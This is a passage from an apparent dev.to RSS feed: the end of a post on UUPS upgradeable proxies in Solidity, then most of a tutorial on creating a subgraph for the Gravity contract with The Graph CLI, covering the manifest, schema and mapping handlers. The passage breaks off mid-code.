     function getImplementationAddress() public view returns (address) { /*..*/ }

     fallback() external { /*..*/ }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is &lt;strong&gt;highly recommended&lt;/strong&gt; to inherit this interface to implementation contracts. Because failing to include upgrade logic in a new version implementation (non-UUPS compliant) and upgrading to it will lock the upgrade mechanism forever! Therefore it is recommended that you use libraries (like &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/proxy#UUPSUpgradeable1"&gt;UUPSUpgradeable&lt;/a&gt;) that include measures to prevent this from happening.&lt;/p&gt;

&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies"&gt;Proxy Upgrade Pattern&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/proxy#ERC1967Proxy"&gt;OpenZeppelin Proxies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.openzeppelin.com/proxy-patterns/"&gt;Exploring different proxy patterns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.openzeppelin.com/the-transparent-proxy-pattern/"&gt;The Transparent Proxy Pattern&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://eips.ethereum.org/EIPS/eip-1967"&gt;EIP-1967: Standard Proxy Storage Slots&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://eips.ethereum.org/EIPS/eip-1822"&gt;EIP-1822: Universal Upgradeable Proxy Standard (UUPS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.openzeppelin.com/contracts/4.x/upgradeable"&gt;Using OpenZeppeling Contracts with Upgrades&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Find me on Twitter &lt;a href="https://twitter.com/the_nvn"&gt;@the_nvn&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;See profiles &lt;a href="https://linktr.ee/thenvn"&gt;here&lt;/a&gt;&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>smartcontracts</category>
      <category>ethereum</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>The Graph Tutorial: Creating a Subgraph</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Tue, 15 Feb 2022 19:13:47 +0000</pubDate>
      <link>https://dev.to/nvnx/the-graph-tutorial-creating-a-subgraph-4no4</link>
      <guid>https://dev.to/nvnx/the-graph-tutorial-creating-a-subgraph-4no4</guid>
      <description>&lt;p&gt;Before you continue, I'm assuming you know what &lt;a href="https://thegraph.com/"&gt;The Graph&lt;/a&gt; is and what problems it tackles. If you haven't, I highly recommend checking out - &lt;a href="https://dev.to/nvn/the-graph-tutorial-why-the-graph-ka3"&gt;Why The Graph&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;

&lt;p&gt;First of all, you'll need &lt;strong&gt;Graph CLI&lt;/strong&gt; tool. Install it via:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;yarn&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;yarn global add @graphprotocol/graph-cli
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or, &lt;strong&gt;npm&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install -g @graphprotocol/graph-cli
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this tutorial I'll be using a simple &lt;a href="https://github.com/graphprotocol/example-subgraph/blob/master/contracts/Gravity.sol"&gt;Gravity&lt;/a&gt; contract as an example.&lt;/p&gt;

&lt;p&gt;Before you can use the already installed Graph CLI, head over to the &lt;a href="https://thegraph.com/studio/"&gt;Subgraph Studio&lt;/a&gt; and connect your account. You'll need a wallet like &lt;a href="https://metamask.io/"&gt;MetaMask&lt;/a&gt; already installed on your browser. So make sure it is there. &lt;/p&gt;

&lt;p&gt;Time to create a new subgraph in the studio now. Note that the Gravity contract is already deployed on Ethereum Mainnet. You can inspect it on &lt;a href="https://etherscan.io/address/0x2e645469f354bb4f5c8a05b3b30a929361cf77ec#code"&gt;Etherscan&lt;/a&gt;. It is deployed at the following address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0x2E645469f354BB4F5c8a05B3b30A929361cf77eC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this information known, go ahead and create a new subgraph in the studio. Select the Ethereum Mainnet as the network to index the contract data from. And fill-in a sensible name of subgraph like - &lt;code&gt;Gravity&lt;/code&gt;. Hit continue. This will take you to dashboard where you may fill optional fields like description, website, etc. I'm gonna skip it for sake of brevity.&lt;/p&gt;

&lt;h2&gt;
  
  
  Initializing Subgraph
&lt;/h2&gt;

&lt;p&gt;The Graph CLI provides &lt;code&gt;graph init&lt;/code&gt; command to initialize the subgraph:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;graph init \
  --product subgraph-studio
  --from-contract &amp;lt;CONTRACT_ADDRESS&amp;gt; \
  [--network &amp;lt;ETHEREUM_NETWORK&amp;gt;] \
  [--abi &amp;lt;FILE&amp;gt;] \
  &amp;lt;SUBGRAPH_SLUG&amp;gt; [&amp;lt;DIRECTORY&amp;gt;]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I recommend checking what each option does by running &lt;code&gt;graph init --help&lt;/code&gt; in console.&lt;/p&gt;

&lt;p&gt;Now copy the generated subgraph slug from the dashboard. It is &lt;code&gt;gravity&lt;/code&gt; for me. We need it for initializing this subgraph:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;graph init --studio gravity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(Note that &lt;code&gt;--studio&lt;/code&gt; option above is nothing but short-hand for &lt;code&gt;--product subgraph-studio&lt;/code&gt;)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This will prompt for multiple inputs like network name, contract address, ABI etc. In this case, we're using Ethereum Mainnet network, with an already deployed Gravity contract. Make sure your input match following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✔ Protocol · ethereum
✔ Subgraph slug · gravity
✔ Directory to create the subgraph in · gravity
✔ Ethereum network · mainnet
✔ Contract address · 0x2E645469f354BB4F5c8a05B3b30A929361cf77eC
✔ Fetching ABI from Etherscan
✔ Contract Name · Gravity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If not provided inline to &lt;code&gt;graph init&lt;/code&gt;, the cli will try to fetch the ABI of the contract from Etherscan. If not found, you'll need to provide path to the ABI file of the contract. ABI is easy to generate for your contract through dev tools like &lt;a href="https://hardhat.org/"&gt;Hardhat&lt;/a&gt; or &lt;a href="https://trufflesuite.com/"&gt;Truffle&lt;/a&gt;, one of which you might already be using. Or, you can simply copy it from IDE, if you're using &lt;a href="https://remix.ethereum.org/"&gt;Remix&lt;/a&gt;. In our case, ABI was already available on Etherscan.&lt;/p&gt;

&lt;p&gt;Initialization creates a new directory containing multiple auto-generated files for you as a starting point. These include some configuration files specifically tailored for the provided contract through its ABI. Open this project in your favorite editor and let's start with next steps.&lt;/p&gt;

&lt;h2&gt;
  
  
  Configuring Subgraph Manifest
&lt;/h2&gt;

&lt;p&gt;The subgraph manifest file - &lt;code&gt;subgraph.yaml&lt;/code&gt; is a &lt;a href="https://circleci.com/blog/what-is-yaml-a-beginner-s-guide/"&gt;YAML&lt;/a&gt; file located at the root path. This describes the data-sources your subgraph will index. In this case, data-source is Gravity contract on Ethereum Mainnet. Replace the contents of file with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;specVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;0.0.4&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Gravatar for Ethereum&lt;/span&gt;
&lt;span class="na"&gt;repository&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://github.com/graphprotocol/example-subgraph&lt;/span&gt;
&lt;span class="na"&gt;schema&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./schema.graphql&lt;/span&gt;
&lt;span class="na"&gt;dataSources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ethereum/contract&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Gravity&lt;/span&gt;
    &lt;span class="na"&gt;network&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mainnet&lt;/span&gt;
    &lt;span class="na"&gt;source&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;address&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0x2E645469f354BB4F5c8a05B3b30A929361cf77eC'&lt;/span&gt;
      &lt;span class="na"&gt;abi&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Gravity&lt;/span&gt;
      &lt;span class="na"&gt;startBlock&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;6175244&lt;/span&gt;
    &lt;span class="na"&gt;mapping&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ethereum/events&lt;/span&gt;
      &lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;0.0.6&lt;/span&gt;
      &lt;span class="na"&gt;language&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;wasm/assemblyscript&lt;/span&gt;
      &lt;span class="na"&gt;entities&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;Gravatar&lt;/span&gt;
      &lt;span class="na"&gt;abis&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Gravity&lt;/span&gt;
          &lt;span class="na"&gt;file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./abis/Gravity.json&lt;/span&gt;
      &lt;span class="na"&gt;eventHandlers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;event&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;NewGravatar(uint256,address,string,string)&lt;/span&gt;
          &lt;span class="na"&gt;handler&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;handleNewGravatar&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;event&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;UpdatedGravatar(uint256,address,string,string)&lt;/span&gt;
          &lt;span class="na"&gt;handler&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;handleUpdatedGravatar&lt;/span&gt;
      &lt;span class="na"&gt;file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./src/mapping.ts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We're gonna keep this simple. You can find out about what each of the available fields mean at full-specification &lt;a href="https://github.com/graphprotocol/graph-node/blob/master/docs/subgraph-manifest.md"&gt;here&lt;/a&gt;. Though some notable ones are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;schema.file&lt;/code&gt;&lt;/strong&gt;: Path to a GraphQL schema file defining what data is stored for your subgraph. This also generated with initialization.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;dataSources&lt;/code&gt;&lt;/strong&gt;: List of sources from which to index data. You can use a single subgraph to index the data from multiple smart-contracts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;dataSources.source&lt;/code&gt;&lt;/strong&gt;: Address and ABI of the source smart-contract. &lt;code&gt;startBlock&lt;/code&gt; indicates from which block of the blockchain to start indexing data from. Its value is usually the block at which the contract was deployed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;dataSources.mapping.entities&lt;/code&gt;&lt;/strong&gt;: These are the entities that are written to The Graph network's storage. These entities are defined in a GraphQL schema file - &lt;code&gt;schema.graphql&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;dataSources.mapping.abis&lt;/code&gt;&lt;/strong&gt;: ABI files for the source contract as well as  any other smart contracts that you interact with from within the mappings (&lt;code&gt;mapping.ts&lt;/code&gt; file that you will write).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;dataSources.mapping.eventHandlers&lt;/code&gt;&lt;/strong&gt;: List of the smart-contract events that this subgraph will react to with corresponding handlers that are defined in mappings file (&lt;code&gt;./src/mapping.ts&lt;/code&gt;). It is these handlers that will transform the events to proper entities to be saved.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;dataSources.mapping.callHandlers&lt;/code&gt;&lt;/strong&gt; (not used here): Lists of the smart-contract functions the subgraph reacts to with corresponding handlers. These handlers are defined in the mapping too. They transform the inputs and outputs to function calls into entities in the store.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;dataSources.mapping.blockHandlers&lt;/code&gt;&lt;/strong&gt; (not used here): Blocks with handlers the subgraph will react to. With no &lt;code&gt;filter&lt;/code&gt; it will react every time new block is appended to chain. However, a &lt;code&gt;call&lt;/code&gt; filter will make the handler run only  if the block contains at least one call to the data source contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Defining Entities
&lt;/h2&gt;

&lt;p&gt;The entities are defined in a GraphQL schema file - &lt;code&gt;schema.graphql&lt;/code&gt;, also located the root path. These entities indicate what data is stored for this subgraph and how to query it. If you're new to GraphQL, check out at least a primer on it on &lt;a href="https://graphql.org/learn/"&gt;official website&lt;/a&gt; or if you're feeling adventurous like me try this &lt;a href="https://odyssey.apollographql.com/"&gt;awesome course&lt;/a&gt; by Apollo team.&lt;/p&gt;

&lt;p&gt;Alright, I assume you have at least basic knowledge of GraphQL by now. But before defining entities think about the structure of your data, like how you would've done while designing schemas for a DB. All the queries made from user-facing app will me made against this data model. &lt;strong&gt;Rather than imagining these entities in smart-contract lingo i.e. imagining entities as "events" or contract "functions", imagine entities as data "objects".&lt;/strong&gt; Your app will query on these objects.&lt;/p&gt;

&lt;p&gt;In our case, for example, it can be seen in &lt;code&gt;subgraph.yaml&lt;/code&gt; above that, the network is instructed to react to &lt;code&gt;NewGravatar&lt;/code&gt;/&lt;code&gt;UpdateGravatar&lt;/code&gt; through handlers - &lt;code&gt;handleNewGravatar&lt;/code&gt;/&lt;code&gt;handleUpdateGravatar&lt;/code&gt; (defined in &lt;code&gt;mapping.ts&lt;/code&gt;). These handlers eventually convert event data to a related entity (&lt;code&gt;Gravatar&lt;/code&gt;) defined in &lt;code&gt;schema.graphql&lt;/code&gt;, which will then be saved/updated in storage.&lt;br&gt;
Here the entity is the &lt;code&gt;Gravatar&lt;/code&gt; object, not the individual events. A good schema would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="k"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Gravatar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;entity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Bytes&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;displayName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;imageUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the &lt;code&gt;schema.graphql&lt;/code&gt; and paste above to finish defining the entity.&lt;/p&gt;

&lt;h2&gt;
  
  
  Writing Mappings
&lt;/h2&gt;

&lt;p&gt;The job of mappings file (in &lt;code&gt;./src/mapping.ts&lt;/code&gt;) is to convert data coming from blockchain (e.g. events) to an entity defined in the &lt;code&gt;schema.graphql&lt;/code&gt; and write it to store. The mappings are written in &lt;a href="https://www.assemblyscript.org/"&gt;AssemblyScript&lt;/a&gt; which can be compiled to &lt;a href="https://webassembly.org/"&gt;WASM&lt;/a&gt;. It is a stricter subset of &lt;a href="https://www.typescriptlang.org/"&gt;TypeScript&lt;/a&gt;. If you've never written any TypeScript ever, I recommend getting familiar with the syntax &lt;a href="https://www.typescriptlang.org/docs/handbook/typescript-in-5-minutes.html"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;All the APIs available to write these mappings is described in &lt;a href="https://thegraph.com/docs/en/developer/assemblyscript-api"&gt;AssemblyScript API&lt;/a&gt; docs. You might want to check out at least &lt;a href="https://thegraph.com/docs/en/developer/assemblyscript-api#built-in-types"&gt;Built-in Types&lt;/a&gt; and &lt;a href="https://thegraph.com/docs/en/developer/assemblyscript-api#store-api"&gt;Store API&lt;/a&gt; specifically to start.&lt;/p&gt;

&lt;p&gt;If you inspect &lt;code&gt;./src/mapping.ts&lt;/code&gt;, you can see already pre-filled code that was generated by the &lt;code&gt;graph init&lt;/code&gt; command ran earlier. But this is based off the &lt;code&gt;subgraph.yaml&lt;/code&gt; and &lt;code&gt;schema.graphql&lt;/code&gt; before editing. Since we changed contents of these two we need to generate types corresponding to updated entities. This is so we can use these generated types/classes to write our &lt;code&gt;mapping.ts&lt;/code&gt;. The Graph CLI provides the &lt;code&gt;codegen&lt;/code&gt; command for this purpose. Run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;graph codegen
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(This is also pre-configured in &lt;code&gt;package.json&lt;/code&gt; so that you can run &lt;code&gt;yarn codegen&lt;/code&gt; or &lt;code&gt;npm codegen&lt;/code&gt; which does the same)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You can see the generated types/classes corresponding to schema as well as source contract(s) in the &lt;code&gt;./generated&lt;/code&gt; directory.&lt;/p&gt;

&lt;p&gt;Alright, now is the time to write the handlers - &lt;code&gt;handleNewGravatar&lt;/code&gt; and &lt;code&gt;handleUpdateGravatar&lt;/code&gt; that were specified at &lt;code&gt;dataSources.mapping.eventHandlers&lt;/code&gt; in the &lt;code&gt;subgraph.manifest&lt;/code&gt;. Open the &lt;code&gt;mapping.ts&lt;/code&gt; and replace with following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Import event classes&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;NewGravatar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;UpdatedGravatar&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;../generated/Gravity/Gravity&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Import entity class&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Gravatar&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;../generated/schema&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleNewGravatar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NewGravatar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Use id field from emitted event as unique id for the entity&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toHex&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="c1"&gt;// Create a new Gravatar Entity with unique id&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;gravatar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Gravatar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Set Gravatar Entity fields&lt;/span&gt;
  &lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;displayName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;displayName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// Save entity to store&lt;/span&gt;
  &lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handleUpdatedGravatar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;UpdatedGravatar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Use proper id to load an entity from store&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toHex&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="c1"&gt;// Load the entity to be updated&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;gravatar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Create the entity if it doesn't already exist&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;gravatar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Gravatar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Set updated fields to entity&lt;/span&gt;
  &lt;span class="nx"&gt;gravatar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
